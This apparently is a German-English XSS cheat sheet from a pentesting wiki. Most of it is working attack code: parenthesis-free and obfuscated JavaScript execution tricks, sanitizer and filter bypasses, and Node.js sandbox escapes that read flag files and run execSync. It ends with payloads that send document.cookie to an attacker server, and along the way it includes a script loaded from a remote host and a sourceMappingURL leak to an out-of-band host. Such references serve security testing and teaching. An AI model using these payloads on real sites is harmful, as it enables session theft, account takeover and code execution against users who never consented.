JavaScript-Zeilenumbrüche (aus dem JavaScript new line Trick)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript Leerzeichen
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript innerhalb eines Kommentars
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript ohne Klammern
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Beliebiger Funktionsaufruf (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')
//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
DOM vulnerabilities
There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:
Dort findest du eine detaillierte Erklärung, was DOM vulnerabilities sind, wie sie verursacht werden und wie man sie ausnutzt.
Vergiss außerdem nicht, dass am Ende des erwähnten Beitrags eine Erklärung zu DOM Clobbering attacks zu finden ist.
Upgrading Self-XSS
Cookie XSS
If you can trigger a XSS by sending the payload inside a cookie, this is usually a self-XSS. However, if you find a vulnerable subdomain to XSS, you could abuse this XSS to inject a cookie in the whole domain managing to trigger the cookie XSS in the main domain or other subdomains (the ones vulnerable to cookie XSS). For this you can use the cookie tossing attack:
You can find a great abuse of this technique in this blog post.
Session an den Admin senden
Möglicherweise kann ein Benutzer sein Profil mit dem Admin teilen; wenn sich das self XSS im Profil des Benutzers befindet und der Admin es aufruft, wird die Schwachstelle ausgelöst.
Session Mirroring
If you find some self XSS and the web page have a session mirroring for administrators, for example allowing clients to ask for help an in order for the admin to help you he will be seeing what you are seeing in your session but from his session.
You could make the administrator trigger your self XSS and steal his cookies/session.
Other Bypasses
Bypassing sanitization via WASM linear-memory template overwrite
When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as “” turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.
Siehe die dedizierte Seite mit Exploitation-Workflow, DevTools memory helpers und Abwehrmaßnahmen:
Wasm Linear Memory Template Overwrite Xss
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Aufgrund von RoR mass assignment werden Anführungszeichen in das HTML eingefügt, wodurch die Anführungszeichen-Einschränkung umgangen wird und zusätzliche Felder (onfocus) innerhalb des Tags hinzugefügt werden können.
Formularbeispiel (from this report), wenn Sie die Payload senden:
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
Das Paar “Key”,“Value” wird wie folgt zurückgegeben:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
Dann wird das onfocus-Attribut eingefügt und XSS tritt auf.
Spezielle Kombinationen
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
XSS mit Header-Injection in einer 302-Redirect-Antwort
Wenn du Header in einer 302 Redirect-Antwort injizieren kannst, könntest du versuchen, den Browser dazu zu bringen, beliebiges JavaScript auszuführen. Das ist nicht trivial, da moderne Browser den HTTP-Response-Body nicht interpretieren, wenn der HTTP-Statuscode 302 ist, sodass ein normales cross-site scripting payload nutzlos ist.
In this report und this one kannst du nachlesen, wie du mehrere Protokolle im Location-Header testen kannst und prüfen kannst, ob eines davon dem Browser erlaubt, die XSS-Payload im Body zu inspizieren und auszuführen.
Bisher bekannte Protokolle: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
Nur Buchstaben, Zahlen und Punkte
Wenn du den callback angeben kannst, den javascript ausführen wird, und dieser auf diese Zeichen beschränkt ist. Read this section of this post um zu erfahren, wie man dieses Verhalten ausnutzen kann.
Valid <script> Content-Types to XSS
(From here) Wenn du versuchst, ein Script mit einem content-type wie application/octet-stream zu laden, wird Chrome folgenden Fehler werfen:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx’ because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
Die einzigen Content-Types, mit denen Chrome ein loaded script ausführen wird, sind diejenigen, die in der const kSupportedJavascriptTypes aus https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc aufgeführt sind.
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Skript-Typen für XSS
(Aus here) Also, welche Typen könnten angegeben werden, um ein Skript zu laden?
<script type="???"></script>
- module (Standard, nichts zu erklären)
- webbundle: Web Bundles ist eine Funktion, mit der du eine Menge Daten (HTML, CSS, JS…) in einer
.wbn-Datei zusammenpacken kannst.
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: Ermöglicht die Verbesserung der Import-Syntax
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
Dieses Verhalten wurde in this writeup verwendet, um eine library auf eval umzuleiten; der Missbrauch davon kann XSS auslösen.
- speculationrules: Diese Funktion dient hauptsächlich dazu, einige Probleme zu lösen, die durch pre-rendering verursacht werden. Sie funktioniert folgendermaßen:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types für XSS
(Von here) Die folgenden Content-Types können in allen Browsern XSS ausführen:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? nicht in der Liste, aber ich glaube, ich habe das bei einem CTF gesehen)
- application/rss+xml (off)
- application/atom+xml (off)
In anderen Browsern können andere Content-Types verwendet werden, um beliebiges JS auszuführen, siehe: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml Content Type
Wenn die Seite einen text/xml content-type zurückgibt, ist es möglich, einen Namespace anzugeben und beliebiges JS auszuführen:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
Spezielle Ersetzungsmuster
Wenn etwas wie "some {{template}} data".replace("{{template}}", <user_input>) verwendet wird, könnte ein Angreifer special string replacements verwenden, um bestimmte Schutzmaßnahmen zu umgehen: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
Zum Beispiel wurde in this writeup dies verwendet, um einen JSON-String zu escapen innerhalb eines Scripts und beliebigen Code auszuführen.
Chrome Cache to XSS
XS Jails Escape
If you are only have a limited set of chars to use, check these other valid solutions for XSJail problems:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
Wenn vor der Ausführung von nicht vertrauenswürdigem Code alles undefined ist (wie in this writeup), ist es möglich, nützliche Objekte “aus dem Nichts” zu erzeugen, um die Ausführung beliebigen nicht vertrauenswürdigen Codes zu missbrauchen:
- Mit import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- Indirekter Zugriff auf
require
Laut diesem werden Module von Node.js in eine Funktion eingeschlossen, wie folgt:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
Deshalb, wenn wir aus diesem Modul eine andere Funktion aufrufen können, ist es möglich, arguments.callee.caller.arguments[1] von dieser Funktion zu verwenden, um auf require zuzugreifen:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
Ähnlich wie im vorherigen Beispiel ist es möglich, use error handlers zu verwenden, um auf den wrapper des Moduls zuzugreifen und die require-Funktion zu erhalten:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
Obfuskation & erweiterte Umgehung
- Verschiedene Obfuskationen auf einer Seite: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- Mehr ausgefeilte JSFuck-Methoden: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS häufige payloads
Mehrere payloads in 1
Iframe Trap
Sorge dafür, dass der Benutzer auf der Seite navigiert, ohne das iframe zu verlassen, und zeichne seine Aktionen auf (einschließlich in Formularen gesendeter Informationen):
Cookies abrufen
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
